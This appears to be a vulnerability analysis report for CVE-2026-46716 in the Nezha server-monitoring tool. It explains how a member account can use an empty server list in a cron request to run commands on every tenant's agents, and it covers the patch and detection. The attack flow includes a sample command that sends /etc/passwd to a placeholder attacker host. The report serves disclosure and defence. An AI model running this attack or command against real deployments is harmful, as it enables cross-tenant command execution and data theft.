5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / VULNERABILITY_ANALYSIS.md MD
# CVE-2026-46716 Vulnerability Analysis Report

---

## 1. Basic Information

| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-46716 |
| **GHSA** | [GHSA-99gv-2m7h-3hh9](https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9) |
| **CVSS Score** | 9.9 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` |
| **CWE** | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management), CWE-78 (OS Command Injection) |
| **Affected Versions** | nezhahq/nezha >= 1.4.0, < 1.14.15-0.20260517022419 |
| **Fixed Version** | commit d7526351cf97 (2026-05-17), released as v1.14.15-0.20260517022419 |

---

## 2. Software Overview

Nezha Monitoring is a self-hosted lightweight server monitoring tool written in Go. It consists of a central Dashboard (web UI + REST API) and Agents installed on each monitored server.

**Role Levels:**
- `RoleAdmin (0)`: Full access to all features
- `RoleMember (1)`: Restricted access — any authenticated user can create cron jobs for servers they own

---

## 3. Root Cause Analysis

### 3.1 CheckPermission — No Ownership Validation for Empty Server List

The cron creation endpoint (`POST /api/v1/cron`) calls `ServerShared.CheckPermission` to validate that the requesting user owns all servers in the provided server list.

```go
// service/singleton/singleton.go
func (c *class[K, V]) CheckPermission(ctx *gin.Context, idList iter.Seq[K]) bool {
    for id := range idList {   // loop body never executes when servers=[]
        if s, ok := c.list[id]; ok {
            if !s.HasPermission(ctx) {
                return false
            }
        }
    }
    return true  // no servers to check → returns true with no validation
}
```

Passing `"servers": []` produces an empty iterator, so no ownership validation occurs and `CheckPermission` returns `true` — the cron is accepted regardless of the caller's privileges.

### 3.2 Missing Ownership Validation in CronTrigger (pre-patch)

After the cron is stored, `CronTrigger` dispatches the command to servers at execution time. Before the patch, it iterated the global `ServerShared` map without checking whether each server belongs to the cron creator:

```go
// service/singleton/crontask.go (pre-patch)
func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {
    return func() {
        for _, s := range ServerShared.Range {
            // cover=CronCoverAll + empty exclude list → sends to ALL servers
            if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] {
                continue
            }
            // No ownership check — command dispatched to every connected agent
            s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})
        }
    }
}
```

With `cover=1` (all servers) and `servers=[]` (empty exclude list), the command is sent to every agent in the pool.

---

## 4. Attack Flow

```
Attacker (RoleMember account)
  │
  ▼
POST /api/v1/login → JWT token
  │
  ▼
POST /api/v1/cron
  {"servers":[], "cover":1, "command":"curl http://attacker/$(cat /etc/passwd|base64)"}
  │
  ├─ commonHandler: JWT valid → pass
  ├─ CheckPermission([]) → true (empty server list — no ownership validation performed)
  └─ Cron stored; at next schedule tick, CronTrigger fires:
       ├─ Server A (another tenant) → command executed
       ├─ Server B (another tenant) → command executed
       └─ Server N (another tenant) → command executed
```

---

## 5. Attack Prerequisites

| # | Condition | Details |
|---|-----------|---------|
| 1 | Vulnerable version | < 1.14.15-0.20260517022419 (commit d7526351cf97) |
| 2 | Any authenticated account | Members are sufficient; admin not required |
| 3 | Connected agents | Required for actual command execution at dispatch time |

---

## 6. Patch Analysis (commit d7526351cf97)

The fix adds server ownership validation **inside CronTrigger** — it does not change API-level access control, and `CheckPermission` continues to accept empty server lists without validation.

```go
// service/singleton/crontask.go (post-patch)
func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {
    return func() {
        for _, s := range ServerShared.Range {
            if !cronCanSendToServer(cr, s) {  // NEW: ownership check
                continue
            }
            // Only dispatches to servers owned by the cron creator
            ...
        }
    }
}

func cronCanSendToServer(cr *model.Cron, server *model.Server) bool {
    return cr.UserID == server.UserID || userIsAdmin(cr.UserID)
}
```

**What the patch changes:**

| Fix | Description |
|-----|-------------|
| `cronCanSendToServer()` | Validates `cr.UserID == server.UserID` before each dispatch in CronTrigger |
| `cronCanBeTriggeredByOwner()` | Ownership check in `SendTriggerTasks` (alert-triggered crons) |

**What the patch does NOT change:**
- API access control for `POST /api/v1/cron` remains `commonHandler` (members can still create crons)
- `CheckPermission` still accepts empty server lists with no ownership validation

---

## 7. Detection Note

Both vulnerable and patched versions return HTTP 200 for `POST /api/v1/cron` with `servers:[], cover:1` from a member account — the API-level behavior is identical. The difference is only in execution behavior. Version detection via `GET /api/v1/setting` (admin credentials required) is the reliable distinguishing signal.

---

## 8. References

- [GHSA-99gv-2m7h-3hh9](https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9)
- [NVD — CVE-2026-46716](https://nvd.nist.gov/vuln/detail/CVE-2026-46716)
- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)
- [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)

---